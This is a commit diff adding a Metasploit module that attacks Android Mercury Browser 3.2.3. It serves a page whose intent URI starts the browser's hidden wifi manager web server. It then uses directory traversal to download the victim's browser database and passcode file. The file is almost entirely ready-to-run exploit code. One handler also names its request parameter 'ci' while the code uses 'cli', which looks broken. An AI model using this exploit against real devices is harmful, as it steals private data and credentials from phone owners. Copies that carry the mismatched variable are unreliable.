Add Android Mercury Browser Intent URI Scheme & Traversal
parent
cda102f07a
commit
63bb0cd0ec
|
@ -0,0 +1,118 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an unsafe intent URI scheme and directory traversal found in
|
||||
Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a
|
||||
private wifi manager activity, which starts a web server for Mercury on port 8888.
|
||||
The webserver also suffers a directory traversal that allows remote access to
|
||||
sensitive files.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'rotlogix', # Vuln discovery, PoC, etc
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ]
|
||||
]
|
||||
))
|
||||
end
|
||||
|
||||
def send_http_request(rhost, opts={})
|
||||
res = nil
|
||||
cli = Rex::Proto::Http::Client.new(rhost, 8888)
|
||||
|
||||
begin
|
||||
cli.connect
|
||||
req = cli.request_cgi(opts)
|
||||
res = cli.send_recv(req)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError,
|
||||
OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
return nil
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def get_xml_files(rhost)
|
||||
base_dir = '../../../../data/data/com.ilegendsoft.mercury'
|
||||
|
||||
['mercury_database.db', '/shared_prefs/passcode.xml'].each do |item|
|
||||
opts = {
|
||||
'method' => 'GET',
|
||||
'uri' => '/dodownload',
|
||||
'vars_get' => {
|
||||
'fname' => "#{base_dir}#{item}"
|
||||
},
|
||||
'headers' => {
|
||||
'Referer' => "http://#{rhost}:8888/storage/emulated/0/Download/"
|
||||
}
|
||||
}
|
||||
|
||||
print_status("Retrieving #{item}")
|
||||
res = send_http_request(rhost, opts)
|
||||
next unless res
|
||||
print_status("Server response: #{res.code}")
|
||||
p = store_loot('android.mercury.file', 'application/octet-stream', rhost, res.body)
|
||||
print_good("#{item} saved as: #{p}")
|
||||
end
|
||||
end
|
||||
|
||||
def is_android?(user_agent)
|
||||
user_agent.include?('Android')
|
||||
end
|
||||
|
||||
def get_html
|
||||
%Q|
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
def on_request_uri(ci, req)
|
||||
print_status("Requesting: #{req.uri}")
|
||||
|
||||
unless is_android?(req.headers['User-Agent'])
|
||||
print_error('Target is not Android')
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Sending HTML...')
|
||||
html = get_html
|
||||
send_response_html(cli, html)
|
||||
|
||||
print_status("Attempting to connect to: http://#{cli.peerhost}:8888/")
|
||||
sleep(2)
|
||||
get_xml_files(cli.peerhost)
|
||||
end
|
||||
|
||||
def run
|
||||
exploit
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue